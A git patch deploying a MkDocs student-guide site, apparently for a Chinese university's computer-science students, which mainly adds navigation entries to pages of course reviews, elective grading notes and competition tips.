From 0b3b259730867901916a39133d6e27422d43c836 Mon Sep 17 00:00:00 2001 From: <> Date: Tue, 18 Jun 2024 14:11:58 +0000 Subject: [PATCH] Deployed 0ecf707 with MkDocs version: 1.5.3 --- 404.html | 78 + CTF-WP/index.html | 110 + basic/calculus(1)/index.html | 110 + basic/discrete/index.html | 110 + basic/index.html | 111 +- basic/lin-algebra/index.html | 110 + competition/index.html | 110 + .../index.html" | 110 + culture/index.html | 110 + .../1/index.html" | 111 +- .../10/index.html" | 111 +- .../11/index.html" | 111 +- .../12/index.html" | 111 +- .../2/index.html" | 111 +- .../3/index.html" | 111 +- .../4/index.html" | 111 +- .../5/index.html" | 110 + .../6/index.html" | 111 +- .../7/index.html" | 111 +- .../8/index.html" | 111 +- .../9/index.html" | 110 + .../1/index.html" | 111 +- .../10/index.html" | 110 + .../2/index.html" | 111 +- .../3/index.html" | 111 +- .../4/index.html" | 111 +- .../5/index.html" | 111 +- .../6/index.html" | 111 +- .../7/index.html" | 111 +- .../8/index.html" | 111 +- .../9/index.html" | 111 +- .../1/index.html" | 111 +- .../2/index.html" | 111 +- .../3/index.html" | 111 +- .../4/index.html" | 111 +- .../5/index.html" | 111 +- .../6/index.html" | 111 +- .../7/index.html" | 111 +- .../8/index.html" | 111 +- .../9/index.html" | 110 + .../1/index.html" | 111 +- .../1/index.html" | 111 +- .../10/index.html" | 111 +- .../11/index.html" | 111 +- .../12/index.html" | 111 +- .../13/index.html" | 111 +- .../14/index.html" | 110 + .../15/index.html" | 111 +- .../16/index.html" | 111 +- .../17/index.html" | 111 +- .../18/index.html" | 110 + .../19/index.html" | 111 +- .../2/index.html" | 111 +- .../3/index.html" | 111 +- .../4/index.html" | 111 +- .../5/index.html" | 111 +- .../6/index.html" | 111 +- .../7/index.html" | 111 +- .../8/index.html" | 111 +- .../9/index.html" | 111 +- .../1/index.html" | 111 +- .../2/index.html" | 111 +- .../3/index.html" | 111 +- .../4/index.html" | 111 +- .../5/index.html" | 111 +- .../6/index.html" | 111 +- .../7/index.html" | 110 + .../8/index.html" | 111 +- .../9/index.html" | 111 +- general/computhinking/index.html | 110 + general/generalEnglishA/index.html | 110 + general/ideology/index.html | 110 + general/index.html | 111 +- general/newthoughts/index.html | 110 + index.html | 110 + innovation/1/index.html | 110 + innovation/2/index.html | 110 + innovation/3/index.html | 110 + innovation/index.html | 110 + knowledge/index.html | 3821 +++++++++++++++++ labs/INET/index.html | 110 + labs/IcePhone&WeRun/index.html | 110 + labs/acrossMedia/index.html | 110 + labs/enterprise/index.html | 110 + labs/fifthspace/index.html | 110 + labs/huaweiTele/index.html | 110 + labs/index.html | 110 + labs/vision/index.html | 110 + major/C programming/index.html | 110 + major/C++/index.html | 110 + major/index.html | 111 +- major/manual/index.html | 110 + manual/index.html | 110 + outer/index.html | 110 + .../index.html" | 110 + salon/basic_sql_injection/index.html | 110 + salon/index.html | 110 + .../index.html" | 110 + search/search_index.json | 2 +- sitemap.xml.gz | Bin 127 -> 127 bytes template/index.html | 110 + visit/HITSZ/index.html | 128 + visit/SDU/index.html | 110 + visit/index.html | 110 + 104 files changed, 14918 insertions(+), 57 deletions(-) create mode 100644 knowledge/index.html diff --git a/404.html b/404.html index 26d549c..0ca7e7c 100644 --- a/404.html +++ b/404.html @@ -432,6 +432,26 @@ + + + + + + +
  • + + + + + + 知识-技术 + + +
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  • + + + + + + + + + + + +
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  • + + + + + + 知识-技术 + + +
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  • + + + @@ -3591,6 +3669,38 @@

    介绍

    WP

    +
    + + + diff --git a/basic/calculus(1)/index.html b/basic/calculus(1)/index.html index 6a7e811..62862dc 100644 --- a/basic/calculus(1)/index.html +++ b/basic/calculus(1)/index.html @@ -443,6 +443,26 @@ + + + + + + +
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  • + + + @@ -3843,6 +3921,38 @@

    荐书

    真正意义上的零基础微积分,书里头甚至会给你介绍什么是弧度制什么是三角函数

    课程编号

    XYWHMA15001(XY为培养方案出版的年份以公元纪年的后两位)

    +
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    分数构成

    <其他可选项目>

    课程编号

    XYWHSE15001(没错这个课不是理学院开的)

    +
    + + + diff --git a/basic/index.html b/basic/index.html index 5a988a7..f0c0af5 100644 --- a/basic/index.html +++ b/basic/index.html @@ -438,6 +438,26 @@ + + + + + + +
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    介绍

    - +
    + + + diff --git a/basic/lin-algebra/index.html b/basic/lin-algebra/index.html index c1c0c5d..ba5c81a 100644 --- a/basic/lin-algebra/index.html +++ b/basic/lin-algebra/index.html @@ -443,6 +443,26 @@ + + + + + + +
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  • + + + + + + + + + + + +
  • + + + @@ -3831,6 +3909,38 @@

    荐书

    顾名思义这本书偏向应用(其实就是解方程),跟MATLAB挂钩比较紧,大致引入思路和上头那本差不太多

    课程编号

    XYWHMA15003

    +
    + + + diff --git a/competition/index.html b/competition/index.html index 8f2f8b4..19fdac6 100644 --- a/competition/index.html +++ b/competition/index.html @@ -438,6 +438,26 @@ + + + + + + +
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    介绍

    计算机相关的比赛介绍,因为计算机拥有很多的竞赛,不仅仅是保研相关和榜单赛事,也有很多有含金量的比赛。

    希望这个介绍能够帮助到大家。

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    + + + diff --git "a/competition/\345\223\210v\347\256\227\346\263\225\347\253\236\350\265\233\346\214\207\345\214\227/index.html" "b/competition/\345\223\210v\347\256\227\346\263\225\347\253\236\350\265\233\346\214\207\345\214\227/index.html" index 43d7b9b..16b9a7e 100644 --- "a/competition/\345\223\210v\347\256\227\346\263\225\347\253\236\350\265\233\346\214\207\345\214\227/index.html" +++ "b/competition/\345\223\210v\347\256\227\346\263\225\347\253\236\350\265\233\346\214\207\345\214\227/index.html" @@ -443,6 +443,26 @@ + + + + + + +
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    CTF¶<

    咨询隔壁网页: Chive::CTF 第五空间

    一些待挖掘的赛事

    团体程序设计天梯赛(GPLT),CCF-CAT,RoboCom(CAIP编程设计赛道),HWS计划,Kaggle......

    +
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    文化素质课

    根据计算机培养方案,2022级开始本科毕业需要8分文化素质分,其中要求美学与艺术鉴赏模块至少2分,四史课程至少1分。建议在大三下学期之前修完所有分数,方便计算机同学大三下寻找实习。

    2023届学生开始本科毕业需要8分的文化素质分,其中要求美学与艺术鉴赏模块2学分,四史课程1分,文化艺术讲座1分(8次)请尽早规划。

    +
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    大学生实用礼仪

    - +
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    《绽放最好的自己-----大学生沟通能力提升训练》

    - +
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    人际交往中的沟通艺术

    - +
    + + + diff --git "a/culture/\345\256\236\347\224\250\347\237\245\350\257\206\344\270\216\346\212\200\350\203\275/12/index.html" "b/culture/\345\256\236\347\224\250\347\237\245\350\257\206\344\270\216\346\212\200\350\203\275/12/index.html" index 770d254..81697d8 100644 --- "a/culture/\345\256\236\347\224\250\347\237\245\350\257\206\344\270\216\346\212\200\350\203\275/12/index.html" +++ "b/culture/\345\256\236\347\224\250\347\237\245\350\257\206\344\270\216\346\212\200\350\203\275/12/index.html" @@ -438,6 +438,26 @@ + + + + + + +
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    爱情与婚姻

    - +
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    主持艺术技巧

    - +
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    摄影基础及应用

    - +
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    汉字书写解码

    - +
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    分数构成

    给分情况

    给分很好,冲就完了,每次都是秒空的课程。

    +
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    演说的艺术

    - +
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    个人理财基础知识和技术

    - +
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    做自己的健康管理师

    - +
    + + + diff --git "a/culture/\345\256\236\347\224\250\347\237\245\350\257\206\344\270\216\346\212\200\350\203\275/9/index.html" "b/culture/\345\256\236\347\224\250\347\237\245\350\257\206\344\270\216\346\212\200\350\203\275/9/index.html" index d341573..afa3448 100644 --- "a/culture/\345\256\236\347\224\250\347\237\245\350\257\206\344\270\216\346\212\200\350\203\275/9/index.html" +++ "b/culture/\345\256\236\347\224\250\347\237\245\350\257\206\344\270\216\346\212\200\350\203\275/9/index.html" @@ -443,6 +443,26 @@ + + + + + + +
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  • + + + + @@ -3673,6 +3693,64 @@ + + + + + + + + + + + + + + + + + + + + + +
  • + + + + + + + + + + + +
  • + + + @@ -3777,6 +3855,38 @@

    分数构成

    期末演唱学期内教过的任一首歌,按歌的完成度和难度给予给分。唱个稍微难的,给分就很高。建议是唱自己能力范围之内的。给分区间大概是在70-100之间,所以想水高分的可能需要好好练一下。

    课程编号

    MX22013

    +
    + + + diff --git "a/culture/\346\224\277\346\262\273\347\273\217\346\265\216\347\244\276\344\274\232\344\270\216\346\263\225\345\276\213/1/index.html" "b/culture/\346\224\277\346\262\273\347\273\217\346\265\216\347\244\276\344\274\232\344\270\216\346\263\225\345\276\213/1/index.html" index 33915b4..13a98b9 100644 --- "a/culture/\346\224\277\346\262\273\347\273\217\346\265\216\347\244\276\344\274\232\344\270\216\346\263\225\345\276\213/1/index.html" +++ "b/culture/\346\224\277\346\262\273\347\273\217\346\265\216\347\244\276\344\274\232\344\270\216\346\263\225\345\276\213/1/index.html" @@ -438,6 +438,26 @@ + + + + + + +
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  • + + + + + + + + + + + +
  • + + + @@ -3618,7 +3696,38 @@

    威海历史寻迹

    - +
    + + + diff --git "a/culture/\346\224\277\346\262\273\347\273\217\346\265\216\347\244\276\344\274\232\344\270\216\346\263\225\345\276\213/10/index.html" "b/culture/\346\224\277\346\262\273\347\273\217\346\265\216\347\244\276\344\274\232\344\270\216\346\263\225\345\276\213/10/index.html" index ae3525b..04559f0 100644 --- "a/culture/\346\224\277\346\262\273\347\273\217\346\265\216\347\244\276\344\274\232\344\270\216\346\263\225\345\276\213/10/index.html" +++ "b/culture/\346\224\277\346\262\273\347\273\217\346\265\216\347\244\276\344\274\232\344\270\216\346\263\225\345\276\213/10/index.html" @@ -443,6 +443,26 @@ + + + + + + +
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  • + + + + + + + + + + + +
  • + + + @@ -3738,6 +3816,38 @@

    分数构成 +
    + + + diff --git "a/culture/\346\224\277\346\262\273\347\273\217\346\265\216\347\244\276\344\274\232\344\270\216\346\263\225\345\276\213/2/index.html" "b/culture/\346\224\277\346\262\273\347\273\217\346\265\216\347\244\276\344\274\232\344\270\216\346\263\225\345\276\213/2/index.html" index 2000c1e..48f7820 100644 --- "a/culture/\346\224\277\346\262\273\347\273\217\346\265\216\347\244\276\344\274\232\344\270\216\346\263\225\345\276\213/2/index.html" +++ "b/culture/\346\224\277\346\262\273\347\273\217\346\265\216\347\244\276\344\274\232\344\270\216\346\263\225\345\276\213/2/index.html" @@ -438,6 +438,26 @@ + + + + + + +
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  • + + + + + + + + + + + +
  • + + + @@ -3618,7 +3696,38 @@

    以案说法

    - +
    + + + diff --git "a/culture/\346\224\277\346\262\273\347\273\217\346\265\216\347\244\276\344\274\232\344\270\216\346\263\225\345\276\213/3/index.html" "b/culture/\346\224\277\346\262\273\347\273\217\346\265\216\347\244\276\344\274\232\344\270\216\346\263\225\345\276\213/3/index.html" index 2e434f7..09140a3 100644 --- "a/culture/\346\224\277\346\262\273\347\273\217\346\265\216\347\244\276\344\274\232\344\270\216\346\263\225\345\276\213/3/index.html" +++ "b/culture/\346\224\277\346\262\273\347\273\217\346\265\216\347\244\276\344\274\232\344\270\216\346\263\225\345\276\213/3/index.html" @@ -438,6 +438,26 @@ + + + + + + +
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  • + + + + + + + + + + + +
  • + + + @@ -3618,7 +3696,38 @@

    管理学的邀请

    - +
    + + + diff --git "a/culture/\346\224\277\346\262\273\347\273\217\346\265\216\347\244\276\344\274\232\344\270\216\346\263\225\345\276\213/4/index.html" "b/culture/\346\224\277\346\262\273\347\273\217\346\265\216\347\244\276\344\274\232\344\270\216\346\263\225\345\276\213/4/index.html" index 723dcaf..0b3cca6 100644 --- "a/culture/\346\224\277\346\262\273\347\273\217\346\265\216\347\244\276\344\274\232\344\270\216\346\263\225\345\276\213/4/index.html" +++ "b/culture/\346\224\277\346\262\273\347\273\217\346\265\216\347\244\276\344\274\232\344\270\216\346\263\225\345\276\213/4/index.html" @@ -438,6 +438,26 @@ + + + + + + +
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  • + + + + + + + + + + + +
  • + + + @@ -3618,7 +3696,38 @@

    生活中的金融学

    - +
    + + + diff --git "a/culture/\346\224\277\346\262\273\347\273\217\346\265\216\347\244\276\344\274\232\344\270\216\346\263\225\345\276\213/5/index.html" "b/culture/\346\224\277\346\262\273\347\273\217\346\265\216\347\244\276\344\274\232\344\270\216\346\263\225\345\276\213/5/index.html" index 359a492..c0a071a 100644 --- "a/culture/\346\224\277\346\262\273\347\273\217\346\265\216\347\244\276\344\274\232\344\270\216\346\263\225\345\276\213/5/index.html" +++ "b/culture/\346\224\277\346\262\273\347\273\217\346\265\216\347\244\276\344\274\232\344\270\216\346\263\225\345\276\213/5/index.html" @@ -438,6 +438,26 @@ + + + + + + +
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  • + + + + + + + + + + + +
  • + + + @@ -3618,7 +3696,38 @@

    社会语言学概述

    - +
    + + + diff --git "a/culture/\346\224\277\346\262\273\347\273\217\346\265\216\347\244\276\344\274\232\344\270\216\346\263\225\345\276\213/6/index.html" "b/culture/\346\224\277\346\262\273\347\273\217\346\265\216\347\244\276\344\274\232\344\270\216\346\263\225\345\276\213/6/index.html" index dc28651..29a7dd9 100644 --- "a/culture/\346\224\277\346\262\273\347\273\217\346\265\216\347\244\276\344\274\232\344\270\216\346\263\225\345\276\213/6/index.html" +++ "b/culture/\346\224\277\346\262\273\347\273\217\346\265\216\347\244\276\344\274\232\344\270\216\346\263\225\345\276\213/6/index.html" @@ -438,6 +438,26 @@ + + + + + + +
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  • + + + + @@ -3585,6 +3605,64 @@ + + + + + + + + + + + + + + + + + + + + + +
  • + + + + + + + + + + + +
  • + + + @@ -3618,7 +3696,38 @@

    生活中的法律

    - +
    + + + diff --git "a/culture/\346\224\277\346\262\273\347\273\217\346\265\216\347\244\276\344\274\232\344\270\216\346\263\225\345\276\213/7/index.html" "b/culture/\346\224\277\346\262\273\347\273\217\346\265\216\347\244\276\344\274\232\344\270\216\346\263\225\345\276\213/7/index.html" index 1b98582..a35f148 100644 --- "a/culture/\346\224\277\346\262\273\347\273\217\346\265\216\347\244\276\344\274\232\344\270\216\346\263\225\345\276\213/7/index.html" +++ "b/culture/\346\224\277\346\262\273\347\273\217\346\265\216\347\244\276\344\274\232\344\270\216\346\263\225\345\276\213/7/index.html" @@ -438,6 +438,26 @@ + + + + + + +
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  • + + + @@ -3618,7 +3696,38 @@

    向人民军队学习领导力

    - +
    + + + diff --git "a/culture/\346\224\277\346\262\273\347\273\217\346\265\216\347\244\276\344\274\232\344\270\216\346\263\225\345\276\213/8/index.html" "b/culture/\346\224\277\346\262\273\347\273\217\346\265\216\347\244\276\344\274\232\344\270\216\346\263\225\345\276\213/8/index.html" index e35c3a5..8978288 100644 --- "a/culture/\346\224\277\346\262\273\347\273\217\346\265\216\347\244\276\344\274\232\344\270\216\346\263\225\345\276\213/8/index.html" +++ "b/culture/\346\224\277\346\262\273\347\273\217\346\265\216\347\244\276\344\274\232\344\270\216\346\263\225\345\276\213/8/index.html" @@ -438,6 +438,26 @@ + + + + + + +
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  • + + + + + + + + + + + +
  • + + + @@ -3618,7 +3696,38 @@

    文化人类学专题

    - +
    + + + diff --git "a/culture/\346\224\277\346\262\273\347\273\217\346\265\216\347\244\276\344\274\232\344\270\216\346\263\225\345\276\213/9/index.html" "b/culture/\346\224\277\346\262\273\347\273\217\346\265\216\347\244\276\344\274\232\344\270\216\346\263\225\345\276\213/9/index.html" index 6edb45e..2c43608 100644 --- "a/culture/\346\224\277\346\262\273\347\273\217\346\265\216\347\244\276\344\274\232\344\270\216\346\263\225\345\276\213/9/index.html" +++ "b/culture/\346\224\277\346\262\273\347\273\217\346\265\216\347\244\276\344\274\232\344\270\216\346\263\225\345\276\213/9/index.html" @@ -438,6 +438,26 @@ + + + + + + +
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  • + + + + + + + + + + + +
  • + + + @@ -3618,7 +3696,38 @@

    公共经济学(财政学)

    - +
    + + + diff --git "a/culture/\346\226\207\345\217\262\345\223\262\347\273\217\345\205\270\344\270\216\344\270\226\347\225\214\346\226\207\346\230\216/1/index.html" "b/culture/\346\226\207\345\217\262\345\223\262\347\273\217\345\205\270\344\270\216\344\270\226\347\225\214\346\226\207\346\230\216/1/index.html" index 7fa8c35..1ccf8fe 100644 --- "a/culture/\346\226\207\345\217\262\345\223\262\347\273\217\345\205\270\344\270\216\344\270\226\347\225\214\346\226\207\346\230\216/1/index.html" +++ "b/culture/\346\226\207\345\217\262\345\223\262\347\273\217\345\205\270\344\270\216\344\270\226\347\225\214\346\226\207\346\230\216/1/index.html" @@ -438,6 +438,26 @@ + + + + + + +
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  • + + + + + + + + + + + +
  • + + + @@ -3618,7 +3696,38 @@

    中国当代文学作品选读

    - +
    + + + diff --git "a/culture/\346\226\207\345\217\262\345\223\262\347\273\217\345\205\270\344\270\216\344\270\226\347\225\214\346\226\207\346\230\216/2/index.html" "b/culture/\346\226\207\345\217\262\345\223\262\347\273\217\345\205\270\344\270\216\344\270\226\347\225\214\346\226\207\346\230\216/2/index.html" index 5202bef..7236c74 100644 --- "a/culture/\346\226\207\345\217\262\345\223\262\347\273\217\345\205\270\344\270\216\344\270\226\347\225\214\346\226\207\346\230\216/2/index.html" +++ "b/culture/\346\226\207\345\217\262\345\223\262\347\273\217\345\205\270\344\270\216\344\270\226\347\225\214\346\226\207\346\230\216/2/index.html" @@ -438,6 +438,26 @@ + + + + + + +
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  • + + + @@ -3618,7 +3696,38 @@

    美学与美的欣赏

    - +
    + + + diff --git "a/culture/\346\226\207\345\217\262\345\223\262\347\273\217\345\205\270\344\270\216\344\270\226\347\225\214\346\226\207\346\230\216/3/index.html" "b/culture/\346\226\207\345\217\262\345\223\262\347\273\217\345\205\270\344\270\216\344\270\226\347\225\214\346\226\207\346\230\216/3/index.html" index f77a400..6b8eee0 100644 --- "a/culture/\346\226\207\345\217\262\345\223\262\347\273\217\345\205\270\344\270\216\344\270\226\347\225\214\346\226\207\346\230\216/3/index.html" +++ "b/culture/\346\226\207\345\217\262\345\223\262\347\273\217\345\205\270\344\270\216\344\270\226\347\225\214\346\226\207\346\230\216/3/index.html" @@ -438,6 +438,26 @@ + + + + + + +
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    唐宋词经典导读

    - +
    + + + diff --git "a/culture/\346\226\207\345\217\262\345\223\262\347\273\217\345\205\270\344\270\216\344\270\226\347\225\214\346\226\207\346\230\216/4/index.html" "b/culture/\346\226\207\345\217\262\345\223\262\347\273\217\345\205\270\344\270\216\344\270\226\347\225\214\346\226\207\346\230\216/4/index.html" index 71fc033..9d725e7 100644 --- "a/culture/\346\226\207\345\217\262\345\223\262\347\273\217\345\205\270\344\270\216\344\270\226\347\225\214\346\226\207\346\230\216/4/index.html" +++ "b/culture/\346\226\207\345\217\262\345\223\262\347\273\217\345\205\270\344\270\216\344\270\226\347\225\214\346\226\207\346\230\216/4/index.html" @@ -438,6 +438,26 @@ + + + + + + +
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    中国古代文学简史

    - +
    + + + diff --git "a/culture/\346\226\207\345\217\262\345\223\262\347\273\217\345\205\270\344\270\216\344\270\226\347\225\214\346\226\207\346\230\216/5/index.html" "b/culture/\346\226\207\345\217\262\345\223\262\347\273\217\345\205\270\344\270\216\344\270\226\347\225\214\346\226\207\346\230\216/5/index.html" index e46b0c8..c1a55a3 100644 --- "a/culture/\346\226\207\345\217\262\345\223\262\347\273\217\345\205\270\344\270\216\344\270\226\347\225\214\346\226\207\346\230\216/5/index.html" +++ "b/culture/\346\226\207\345\217\262\345\223\262\347\273\217\345\205\270\344\270\216\344\270\226\347\225\214\346\226\207\346\230\216/5/index.html" @@ -438,6 +438,26 @@ + + + + + + +
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    生态哲学

    - +
    + + + diff --git "a/culture/\346\226\207\345\217\262\345\223\262\347\273\217\345\205\270\344\270\216\344\270\226\347\225\214\346\226\207\346\230\216/6/index.html" "b/culture/\346\226\207\345\217\262\345\223\262\347\273\217\345\205\270\344\270\216\344\270\226\347\225\214\346\226\207\346\230\216/6/index.html" index 49de868..f3cd804 100644 --- "a/culture/\346\226\207\345\217\262\345\223\262\347\273\217\345\205\270\344\270\216\344\270\226\347\225\214\346\226\207\346\230\216/6/index.html" +++ "b/culture/\346\226\207\345\217\262\345\223\262\347\273\217\345\205\270\344\270\216\344\270\226\347\225\214\346\226\207\346\230\216/6/index.html" @@ -438,6 +438,26 @@ + + + + + + +
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    奥林匹克运动

    - +
    + + + diff --git "a/culture/\346\226\207\345\217\262\345\223\262\347\273\217\345\205\270\344\270\216\344\270\226\347\225\214\346\226\207\346\230\216/7/index.html" "b/culture/\346\226\207\345\217\262\345\223\262\347\273\217\345\205\270\344\270\216\344\270\226\347\225\214\346\226\207\346\230\216/7/index.html" index 5e45318..369bf46 100644 --- "a/culture/\346\226\207\345\217\262\345\223\262\347\273\217\345\205\270\344\270\216\344\270\226\347\225\214\346\226\207\346\230\216/7/index.html" +++ "b/culture/\346\226\207\345\217\262\345\223\262\347\273\217\345\205\270\344\270\216\344\270\226\347\225\214\346\226\207\346\230\216/7/index.html" @@ -438,6 +438,26 @@ + + + + + + +
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    西方古典美学

    - +
    + + + diff --git "a/culture/\346\226\207\345\217\262\345\223\262\347\273\217\345\205\270\344\270\216\344\270\226\347\225\214\346\226\207\346\230\216/8/index.html" "b/culture/\346\226\207\345\217\262\345\223\262\347\273\217\345\205\270\344\270\216\344\270\226\347\225\214\346\226\207\346\230\216/8/index.html" index 5c0631e..53221b0 100644 --- "a/culture/\346\226\207\345\217\262\345\223\262\347\273\217\345\205\270\344\270\216\344\270\226\347\225\214\346\226\207\346\230\216/8/index.html" +++ "b/culture/\346\226\207\345\217\262\345\223\262\347\273\217\345\205\270\344\270\216\344\270\226\347\225\214\346\226\207\346\230\216/8/index.html" @@ -438,6 +438,26 @@ + + + + + + +
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  • + + + @@ -3618,7 +3696,38 @@

    逻辑学入门

    - +
    + + + diff --git "a/culture/\346\226\207\345\217\262\345\223\262\347\273\217\345\205\270\344\270\216\344\270\226\347\225\214\346\226\207\346\230\216/9/index.html" "b/culture/\346\226\207\345\217\262\345\223\262\347\273\217\345\205\270\344\270\216\344\270\226\347\225\214\346\226\207\346\230\216/9/index.html" index b90fb74..873b30e 100644 --- "a/culture/\346\226\207\345\217\262\345\223\262\347\273\217\345\205\270\344\270\216\344\270\226\347\225\214\346\226\207\346\230\216/9/index.html" +++ "b/culture/\346\226\207\345\217\262\345\223\262\347\273\217\345\205\270\344\270\216\344\270\226\347\225\214\346\226\207\346\230\216/9/index.html" @@ -443,6 +443,26 @@ + + + + + + +
  • + + + + + + 知识-技术 + + +
  • + + + + @@ -3649,6 +3669,64 @@ + + + + + + + + + + + + + + + + + + + + + +
  • + + + + + + + + + + + +
  • + + + @@ -3734,6 +3812,38 @@

    分数构成

    10%上课点名(抽一次签到,到了就有10分),10%科幻电影分享(要求冷门电影),80%结课论文,反正我没有科幻电影分享的10分最后依旧88分,给分挺高。

    +
    + + + diff --git "a/culture/\347\256\241\347\220\206\345\255\246/1/index.html" "b/culture/\347\256\241\347\220\206\345\255\246/1/index.html" index 4573231..dada287 100644 --- "a/culture/\347\256\241\347\220\206\345\255\246/1/index.html" +++ "b/culture/\347\256\241\347\220\206\345\255\246/1/index.html" @@ -438,6 +438,26 @@ + + + + + + +
  • + + + + + + 知识-技术 + + +
  • + + + + @@ -3585,6 +3605,64 @@ + + + + + + + + + + + + + + + + + + + + + +
  • + + + + + + + + + + + +
  • + + + @@ -3618,7 +3696,38 @@

    组织行为学与团队建设

    - +
    + + + diff --git "a/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/1/index.html" "b/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/1/index.html" index f0efff2..3f58899 100644 --- "a/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/1/index.html" +++ "b/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/1/index.html" @@ -438,6 +438,26 @@ + + + + + + +
  • + + + + + + 知识-技术 + + +
  • + + + + @@ -3585,6 +3605,64 @@ + + + + + + + + + + + + + + + + + + + + + +
  • + + + + + + + + + + + +
  • + + + @@ -3618,7 +3696,38 @@

    茶道

    - +
    + + + diff --git "a/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/10/index.html" "b/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/10/index.html" index d8048d0..865742b 100644 --- "a/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/10/index.html" +++ "b/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/10/index.html" @@ -438,6 +438,26 @@ + + + + + + +
  • + + + + + + 知识-技术 + + +
  • + + + + @@ -3585,6 +3605,64 @@ + + + + + + + + + + + + + + + + + + + + + +
  • + + + + + + + + + + + +
  • + + + @@ -3618,7 +3696,38 @@

    素描基础

    - +
    + + + diff --git "a/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/11/index.html" "b/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/11/index.html" index f8b1cea..4da5f7f 100644 --- "a/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/11/index.html" +++ "b/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/11/index.html" @@ -438,6 +438,26 @@ + + + + + + +
  • + + + + + + 知识-技术 + + +
  • + + + + @@ -3585,6 +3605,64 @@ + + + + + + + + + + + + + + + + + + + + + +
  • + + + + + + + + + + + +
  • + + + @@ -3618,7 +3696,38 @@

    色彩基础与实践

    - +
    + + + diff --git "a/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/12/index.html" "b/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/12/index.html" index 445065c..4783ca4 100644 --- "a/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/12/index.html" +++ "b/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/12/index.html" @@ -438,6 +438,26 @@ + + + + + + +
  • + + + + + + 知识-技术 + + +
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  • + + + + + + + + + + + +
  • + + + @@ -3618,7 +3696,38 @@

    乐谱视唱

    - +
    + + + diff --git "a/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/13/index.html" "b/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/13/index.html" index b80d254..8bf78ff 100644 --- "a/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/13/index.html" +++ "b/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/13/index.html" @@ -438,6 +438,26 @@ + + + + + + +
  • + + + + + + 知识-技术 + + +
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  • + + + + + + + + + + + +
  • + + + @@ -3618,7 +3696,38 @@

    古风舞蹈

    - +
    + + + diff --git "a/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/14/index.html" "b/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/14/index.html" index c4b228e..edee69f 100644 --- "a/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/14/index.html" +++ "b/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/14/index.html" @@ -443,6 +443,26 @@ + + + + + + +
  • + + + + + + 知识-技术 + + +
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  • + + + + + + + + + + + +
  • + + + @@ -3738,6 +3816,38 @@

    分数构成

    期末考试组成:10%产品介绍,10%设计元素介绍,30%设计理念介绍,30%功效和形式分析,20%草图(鼓励三视图,可以AI创作)

    注:此为2024年春分数构成,后续可能改成平时分数点名10% + 随堂测验90% 给分不知道,老师似乎好像还行,随堂测验考察课堂内容,但是听了也不会,建议直接找学长学姐要答案。在平时分扣了16分的情况下依旧给了我最后79分的分数,中规中矩。

    +
    + + + diff --git "a/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/15/index.html" "b/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/15/index.html" index 5ee4b91..c9d9529 100644 --- "a/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/15/index.html" +++ "b/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/15/index.html" @@ -438,6 +438,26 @@ + + + + + + +
  • + + + + + + 知识-技术 + + +
  • + + + + @@ -3585,6 +3605,64 @@ + + + + + + + + + + + + + + + + + + + + + +
  • + + + + + + + + + + + +
  • + + + @@ -3618,7 +3696,38 @@

    音乐基础及名作欣赏

    - +
    + + + diff --git "a/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/16/index.html" "b/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/16/index.html" index 0a6445c..43ffa6c 100644 --- "a/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/16/index.html" +++ "b/culture/\347\276\216\345\255\246\344\270\216\350\211\272\346\234\257\346\254\243\350\265\217/16/index.html" @@ -438,6 +438,26 @@ + + + + + + +
  • + + + + + + 知识-技术 + + +
  • + + + + @@ -3585,6 +3605,64 @@ + + + + + + + + + + + + + + + + + + + + + +
  • + + + + + + + + + + + +
  • + + + @@ -3618,7 +3696,38 @@

    舞蹈基础与欣赏

    - +
